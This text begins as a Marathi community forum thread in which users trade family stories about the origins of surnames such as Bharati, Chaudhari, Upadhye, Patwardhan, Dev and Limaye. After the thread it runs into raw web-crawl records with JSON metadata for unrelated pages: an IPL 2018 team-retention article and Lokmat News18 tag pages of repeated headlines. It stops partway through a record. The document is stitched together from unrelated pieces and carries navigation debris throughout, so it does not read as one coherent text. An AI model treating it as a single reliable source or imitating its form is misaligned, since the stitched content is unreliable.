आडनाव एकदम वेगळेच आहे.... \"भारती\" आर्थात उत्तर प्रदेशात हे खुप प्रचलित आहे. ह्यांचं घराणं मुळ उत्तरे कडिल. आधीचं आडनाव \" वाजपेयी\" उत्तरेत हरिद्वार ला मुख्य घराणे होते. त्यांना काही गावांचे \" दिक्षीत \" म्हणुन नेमले होते. मग ते \"वाजपेयी- दिक्षीत\" असे नाव लावत. हरिद्वार ला गंगेवर आमचे घाट आहेत\nमग भास्कर राय म्हणुन महान पुरुष होवुन गेले. त्या काळी विद्वानांनाही राजाश्रय लागायचा. हे घराणे मग हैद्राबाद येथे आले. तिकडे असताना भास्कर रायांनी अनेक संस्कृत काव्य व स्तोत्रांचे तेलगू मधे भाषांतरे केली. ललिता सहस्त्रनाम मुख्य. तिकडेच भास्कररायांना \"भारती\" ही पदवी मिळाली . भास्कररायांना पेशव्यां बद्दल प्रचंड आदर होता. हैद्रबाद च्या राजाने आपलं म्हंटलं तरी पेशव्यांनी आपलं म्हणावं ही आस होती. त्या मुळे ते पेशवे दरबारी गेले. त्या वेळेस सवाई माधव राव सत्तेत होते. आणि नाना फडणविस कारभारी होते. भास्कररायांच्या विद्वत्ते मुळे नाना फडणविस खुप प्रभावित झाले आणि दोन गावे इनाम म्हणुन दिली. एक कर्नाटक मधलं \"अळहळ्ळी' आणि दुसरं कोकणात खारेपाटण शेजारचं \"शेजवली\". ( आमच्या कडे शेजवली राहिलं)\nनंतर भास्कर रायांचे वंशज मग ह्या दोन गावी इनामदारकी करत राहिली. पण मुळ पाळं मुळं मात्र हैद्राबादचीच राहिली. मुख्य कुटुंब स्थान हैद्राबादच राहिले. भास्कररायांच्या नावाने अजुनही आंध्रा मधे एक पंथ आहे. भास्कर रायांचं एक पोर्ट्रेट सासर्‍यां कडे आहे. मला वाटतं इनामदारकीचे नाना फडण्वीसां च्या सही चे पत्र ही नवर्‍या च्या अत्या कडे होते.\nअशी ही आडनावाची कथा.....\nमाझ्या माहेरच्या आडनावा विषयी नंतर लिहिते....\nरोहन देशमुखी ही पंचक्रोशीसाठी\nरोहन देशमुखी ही पंचक्रोशीसाठी असायची. मान्य पण देशमुख देशावरपण सगळीकडे आहेत अस नाहीये. आमच्याकड पंचक्रोशीची पाटीलकी होती. आमच्यकड देशमुखी नव्हती. कारण बहुतेक निजामशाही मुळची नगरची असल्यामुळ तस असाव.\nगावात पुर्वी न्याय निवाडा करण्यासाठी पंचायत असायची त्याच्या प्रमुखाला चौधरी म्हणायचे ना\nप्रिंसेस.. माझे स्वतःचे आडनाव\nप्रिंसेस.. माझे स्वतःचे आडनाव चौधरी आहे. 'चौधरी' आडनावाविषयी काही माहिती विकिपेडियावर आहे पण मी त्याबाबतीत समाधानी नाहिये.\nही पदवी मुघल काळात दिली जायची अशी माहिती तिथे आहे. चौधरी हे पद आता आडनाव सर्वत्र भारतात आणि पाकिस्तानात देखील आहे. पण मी वाचलेला पहिला 'चौधरीपणा बहाल केला' हा उल्लेख ११ व्या शतकातला बिंब राजाच्या काळातला आहे. तेंव्हा विकिवरच्या माहितीला अर्थ उरत नाही.\nतुमच्याकडे असलेली माहिती इथे लिहा. मलाही काही नव्याने कळेल.. धन्यवाद.\nकुलकर्णी हे आडनाव सुध्दा एक\nकुलकर्णी हे आडनाव सुध्दा एक प्रकारचे पद आहे, हे लोक बहुधा गावातील प्रत्येक कुटुंबाची माहिती संकलित करुन ठेवत असावेत.\nगावात पुर्वी न्याय निवाडा\nगावात पुर्वी न्याय निवाडा करण्यासाठी पंचायत असायची त्याच्या प्रमुखाला चौधरी म्हणायचे ना\nपुर्वी आणि आताही गावांमध्ये ५ पंच अशी पद्धत होती / आहे. त्यातल्या सरपंचाला चौधरी म्हणायचे. चौ - चार. चौधरी म्हणजे चार जणांना धरून काम बघणारा.\nपण मी जो 'चौधरीपणा बहाल केला' उल्लेख वर केला आहे तो लढाईमध्ये पराक्रम गाजवल्यानंतरचा आहे. म्हणजे हे पद न्यायनिवाडा या बाबीत दिले जाते की लढाई संदर्भात ह्यात नक्की माहिती हाती येत नाहिये.\nइनामदार...........या विषयी माहीती असल्यास सांगा\nमाझे आजोबा गावचे खोत होते.\nमाझे आजोबा गावचे खोत होते. गाव महाड- लाट्वण.\nखोत या विषयी कुणाला माहीती आहे का .....\nहुद्दे नसलेल्या आडनावांचा गावांशी, व्यवसायांशी संबंध असावा असे मानतात.\nमा़झे आडनाव उपाध्ये हे बहुतेक\nहे बहुतेक राज्यात वेगवेगळ्या स्वरूपात/अपभ्रंशात( अपभ्रंश -मराठी माणसासाठी) प्रचलित आहे.\nउपाध्या- म्हणजे शिक्षक( उत्तर कन्नड- कर्नाटक)\nउपाध्याय-म्हणजे शिक्षक( गुजरात, उत्तर प्रदेश, मध्य प्रदेश)\n- ----- पाध्याय ( उदा. मुखोपाध्याय, बंदोपाध्याय - बंगाल)\nपण महाराष्ट्रात मात्र हे नाव उपाध्ये - पौरोहित्य,\nघरोघरी जाऊन पूजा अर्चा करणारे या नावाने प्रसिध्द आहे-\nते शिक्षक ही होते -पण संस्कृतमधील पांडित्या मुळे-\nइतर राज्यात जे 'ध्याय' जे लागले ते शिक्षकी पेशामुळे\nम्हणून उपाध्ये = मग ग्रामोपाध्ये सुध्दा याचेच स्वरूप\nजेवढे उपाध्ये आहेत ते मात्र महाराष्ट्रातीलच.\nआमच्या बाबतीत ४ पिढ्यांपूर्वी आम्ही 'गजेंद्रगडकर' होतो - पण खापरपणजोबा बडोदयाच्या दरबारात पौरोहित्य करीत असत आणि संस्कृत ही शिकवत म्हणून मग ' उपाध्ये' हे बिरुद मिळाले व आजही टिकून आहे.\nपण अजूनही नाव सांगितले व पुढच्याला ते लिहायला सांगितले तर ९०% लोक\nउपाध्या,उपाधे , उपाध्याय ( आणि तत्सम स्पेलिंग इंग्रजीत ) लिहितात.\nअर्थात आता मी उपाध्ये \"उरलो नावापुरता\"\nरेव्यु.. अर्थात... आता सर्वच\nरेव्यु.. अर्थात... आता सर्वच आडनावे नावापुरती राहिली आहेत..;)\nत्यांचा व्यवसायाशी काही संबंध नाही.\nछान धागा. माहेरचे आडनाव\nमाहेरचे आडनाव सकळकळे. इंग्रजी शिकवणीचे सर गमतीने सकळकळे = जिला सगळं कळतं ती सकळकळे अशी फोड करत असत. त्यामुळे त्यांनी सर्वज्ञ असे माझे नामकरण करून टाकले होते.\nह्या आडनावाचा इतिहास मला ठाऊक नाही. ह्या आडनावाचे विदर्भात बरेच लोक आहेत. इथे मुंबईत जे कोण आहेत ते माझ्या नात्यातलेच असतील. शिवाजी राजांच्या अनेक गुरूंपैकी एक सकळकळे म्हणूनही होते अशी कर्णोपकर्णी आलेली एक कथा ऐकली आहे. जास्त काही माहीत नाही. व्यवसायावरून मिळालेले हे आडनाव वाटत नाही.\nसासरचे आडनाव मोडक. ह्याविषयी तर काहीच माहीत नाही.\nरोहन आणि सुशांत दोघांनाही\nरोहन आणि सुशांत दोघांनाही धन्यवाद. माझी माहिती दोघांच्याही मुद्द्यांच्या जवळ जाणारी आहे .\nएवढा इंटरेस्टिंग विषय अन ऑफिसात दोन मिटींगा\nपरत येउन सविस्तर लिहिते. रुमाल सांभाळा माझा\nमाझं सासरचं आडनाव 'देव'.\nमाझं सासरचं आडनाव 'देव'. आम्ही सोलापूरचे. पण आमचा महाराष्ट्रातील इतर कोणत्याही देव आडनावाच्या लोकांशी संबंध नाही. आमचं पूर्वी आडनाव मित्रगोत्री असे होते. आमचा गोत्र मित्रयुव म्हणून. पण आमचे पूर्वज - कदाचित ५-६ पिढ्यांपूर्वी तिरुपतीला बालाजीच्या दर्शनाला जात. (व्यंकटेश आमच्याकडे पाहुणा देव.) पूर्वी असे लांबचे प्रवास करणं खूप खडतर असल्याने आणि एवढ्या लांबच्या देवाचे दर्शन घेऊन आल्याने लोक 'देव आले देव आले' म्हणू लागले. आणि मग आमचे देव हे आडनाव रूढ झाले. (बाकी पुण्याच्या भागात जे देव आडनाव असलेले आहेत ते एक तर देशस्थ ऋग्वेदी किंवा कोकणस्थ आहेत. पण आम्ही मात्र देशस्थ यजुर्वेदी\nशब्दशः अर्थ घ्यायचा तर\nशब्दशः अर्थ घ्यायचा तर पटवर्धन म्हणजे कापड वाढवणारे असा अर्थ आहे.\nहा संदर्भ शब्दार्थाने विणकरांशी जाऊ शकतो. पण कुठल्या तरी काव्यात कृष्णाला पटवर्धन (द्रौपदीचे वस्त्र वाढवले या संदर्भाने) म्हणले आहे.\nपटवर्धन इतिहासात दिसतात तेव्हापासून पटवर्धनच आहेत. हरभट पटवर्धनांपासून बघितलं तर का माहित नाही पण भिक्षुकी/ पौरोहित्य करणारे फारसे दिसत नाहीत. याचे कारण माहित नाही. एकतर गरीब शेतकरी तरी आहेत किंवा मग संस्थानिक, योद्धे, कारकून इत्यादी.\nसावंत लोकांबद्दल फारशी माहिती नाही. शेती आणि लढाई हे प्रमुख व्यवसाय असावेत. सावंत हे आडनावही नुसतं येत नाही. त्याला आधी काहीतरी असतं म्हणे. पण नीट माहिती नवर्‍याला असेल.\n माहेरचे आडनाव देशपांडे ज्याचा उल्लेख वर आला आहेच. जे मी इतिहासात शिकले आहे त्या प्रमाणे देशपांडे वतनदार होते एवढे माहीत.\nमी माहेरची लिमये - हुद्दा\nमी माहेरची लिमये - हुद्दा किंवा व्यवसायाशी काहीच संबंध नाही\nसासरची देवकुळे - देवांच्या कुळातील\nमाझे लग्नानंतर चे आडनाव\nमाझे लग्नानंतर चे आडनाव 'देसाई'. घरी असे ऐकले की आधि ते \"सावंतदेसाई\" असे होते , काही पिढ्यांपासून सावंत बाद झाले . आता नुसतेच देसाई.\n मस्त धागा मराठे :\nमराठे : पेशव्याबरोबर पानिपतात जे कोकणस्थ ब्राह्मण लढले त्याना मराठे म्हटलं गेलं असं ऐकलं पण मग सगळे मराठे कपि गोत्रीच कसे हा प्रश्न आला . अर्थात मराठे ,जाईल, चक्रदेव आणि काही जोशी हे सगळे एकच असं कुलवृत्तान्त सांगतो.\nलिमये : याचा आगा पिछा काहीच् माहीत नाही, कुठली पदवी ,उपाधी , हुद्दा, व्यवसाय असं काहीच असावं असही वाटत नाही. व्युत्पत्तीचा संदर्भच लागत नाही.\n[ अवांतर : मी नवर्‍याला 'तुम्ही मुळचे चिनी असं म्हणते \"ली म ये \" कसं चिनी माणसाच नावं वाटतं ना]\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00317.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/ipl-2018-delhi-daredevils-retain-this-three-players/", "date_download": "2018-09-25T17:21:56Z", "digest": "sha1:WKAHEHQGTPMZRHHLWACXL2IQXAJMVH3G", "length": 6645, "nlines": 64, "source_domain": "mahasports.co.in", "title": "IPL 2018: दिल्ली डेअरडेव्हिल्स संघाने केले या खेळाडूंना कायम -", "raw_content": "\nIPL 2018: दिल्ली डेअरडेव्हिल्स संघाने केले या खेळाडूंना कायम\nIPL 2018: दिल्ली डेअरडेव्हिल्स संघाने केले या खेळाडूंना कायम\nआज आयपीएलच्या ११ व्या मोसमासाठी कोणते संघ त्यांच्या कोणत्या खेळाडूंना कायम करणार हे जाहीर करणार आहेत. यासाठी मुंबईत एक खास कार्यक्रम आयोजित केला आहे. आयपीएल मधील दिल्ली डेअरडेव्हिल्स संघाने तीन खेळाडूंना संघात कायम केले आहे.\nयात त्यांनी भारताचे नवोदित तरुण खेळाडू श्रेयश अय्यर, रिषभ पंत आणि दक्षिण आफ्रिकेच्या ख्रिस मॉरिस या तिघांना संघात कायम केले आहे. याबद्दलची त्यांनी ट्विटरवरून माहिती दिली आहे.\nदिल्लीला आता मुख्य लिलावाच्या वेळी दोन राईट टू मॅच कार्ड वापरता येणार आहेत. त्यामुळे ते त्यांच्या आणखी दोन खेळाडूंना संघात कायम ठेऊ शकतात. आयपीएलच्या ११ व्या मोसमाचा लिलाव २७ आणि २८ जानेवारीला होणार आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00318.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/bedhadak/bedhadak-on-hawkers-attack-on-mns-leader-275437.html", "date_download": "2018-09-25T17:26:08Z", "digest": "sha1:ZHQGDVZTDY643W6SEK63UOGTUEVY4I3W", "length": 1705, "nlines": 24, "source_domain": "lokmat.news18.com", "title": "Lokmat News - फेरीवाल्यांना मारहाण मनसेच्या अंगाशी येते आहे का?–News18 Lokmat", "raw_content": "\nफेरीवाल्यांना मारहाण मनसेच्या अंगाशी येते आहे का\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00318.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%97%E0%A5%87/", "date_download": "2018-09-25T17:25:51Z", "digest": "sha1:ILCKDWTWVOL33T6KODKWAJULKC7PUBI7", "length": 11336, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "गे- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nSection 377 : Supreme Court च्या ऐतिहासिक निर्णयातल्या 10 महत्वाच्या गोष्टी\nसुप्रीम कोर्टाच्या खंडपीठाने भारतीय दंड संहितेतल्या कलम 377 विषयी ऐतिहासिक निकाल देत समलैंगिकतेला गुन्ह्याच्या श्रेणीतून बाहेर केलं.\nPHOTO : LGBT सेलेब्रिटींच्या यादीत आणखी कोण कोण\nव्हॉट्सअॅपवर 'गे' म्हणून चिडवलं, मित्राने घेतला असा बदला\nसमलैंगिकता गुन्हा की अधिकार याचा निर्णय सुप्रीम कोर्टानच घ्यावा - केंद्राची भूमिका\nबिग बाॅस हिंदीच्या नव्या सिझनमध्ये असणार 'ही' पाॅर्न स्टार\n'शशी थरूर, माझ्याशी लग्न करा',गे तरुणाने घातली मागणी\nइंग्लडमध्ये पार पडला पहिला समलैंगिंक तरुणाचा 'निकाह'\nअमेरिकेच्या एका मॉलमध्ये अंधाधुद गोळीबार, 4 ठार\nओरलँडो गोळीबार : हल्लेखोराने गोळीबाराआधी स्वता:चं पोलिसांना कळवलं होतं\nफ्लोरिडा क्लबमधल्या गोळीबारात 50 जणांचा मृत्यू\nभ्रष्टाचार घेऊन जा गे मारबत \nफिल्म रिव्ह्यु : 'हम्प्टी शर्मा की दुल्हनिया'\n'एलजीबीटी'चा काँग्रेस आणि 'आप'कडे कल \nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00318.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/aap/all/", "date_download": "2018-09-25T17:14:06Z", "digest": "sha1:SDF6SF7ON6VCRBGRGVTRK35IKSFSZDJW", "length": 12734, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "Aap- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nभारत बंद : आंदोलनाला गेले आणि थोबाडीत खाऊन आले, VIDEO व्हायरल\nबेळगाव, ता.10 सप्टेंबर : पेट्रोल, डिझेल आणि स्वयंपाकाच्या गॅसच्या दरवाढीविरोधात काँग्रेसच्या बंदला अनेक पक्षांनी पाठिंबा दिला. बेळगावमध्ये आम आदमी पक्षानं आंदोलन केलं. या वेळी आंदोलन करणाऱ्या नेत्याने पेट्रोल दरवाढ अशी घोषणा दिली. त्याला प्रतिसाद म्हणून कार्यकर्त्यांनी, कमी झालीच पाहिजे अशी घोषणा द्यायची होती. मात्र जोषात असलेल्या कार्यकर्त्याने चुकून कमी झालीच पाहिजे असं म्हणण्या ऐवजी झालीच पाहिजे असं म्हटलं आणि नेत्याने त्या कार्यकर्त्याच्या थोबाडीतच लगावली. हा व्हिडीओ सध्या सोशल मीडियावर व्हायरल होतोय.\n आशुतोष यांचा राजीनामा केजरीवालांकडून नामंजूर\nदिल्लीत अधिकारी कामावर, 'आप'चं ठिय्या आंदोलन मागे\nउपोषणाला बसलेल्या आरोग्यमंत्र्यांची प्रकृती खालावली, रुग्णालयात दाखल\nदिल्ली 'आप'चा मोर्चा : केजरीवाल म्हणतात अधिकारी संपावर, अधिकारी म्हणतात आम्ही कामावर\nदिल्लीत भाजप आणि आपचे धरणा आंदोलन, सर्व कामकाज रामभरोसे\nनोकरी करण्यापेक्षा गाय पाळणं चांगलं- बिप्लव देवांचा अजून एक अजब तर्क\nअमेठीत रस्ते, वीज, पाणी का नाही हे मोदी आणि योगींना विचारा - राहुल गांधी\nखडसेंची बदनामी केल्याप्रकरणी अंजली दमानियांविरोधात अटक वॉरंट जारी\n'भीम'अॅप वापरणाऱ्यांसाठी खूष खबर, उद्यापासून 'कॅशबॅक'ची खैरात\n...जेव्हा सुषमा स्वराजच करतात काँग्रेसचं ट्विट रिट्विट\nआम आदमी पक्षाच्या 20 आमदारांना हायकोर्टाचा दिलासा\nहोळीसाठी कुमार विश्वासांची कविता\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00318.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/ramnath-kovind/videos/", "date_download": "2018-09-25T16:50:08Z", "digest": "sha1:DT32DF63Y3YP6BFPICCGG7C65PHGKFMT", "length": 9075, "nlines": 112, "source_domain": "lokmat.news18.com", "title": "Ramnath Kovind- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला 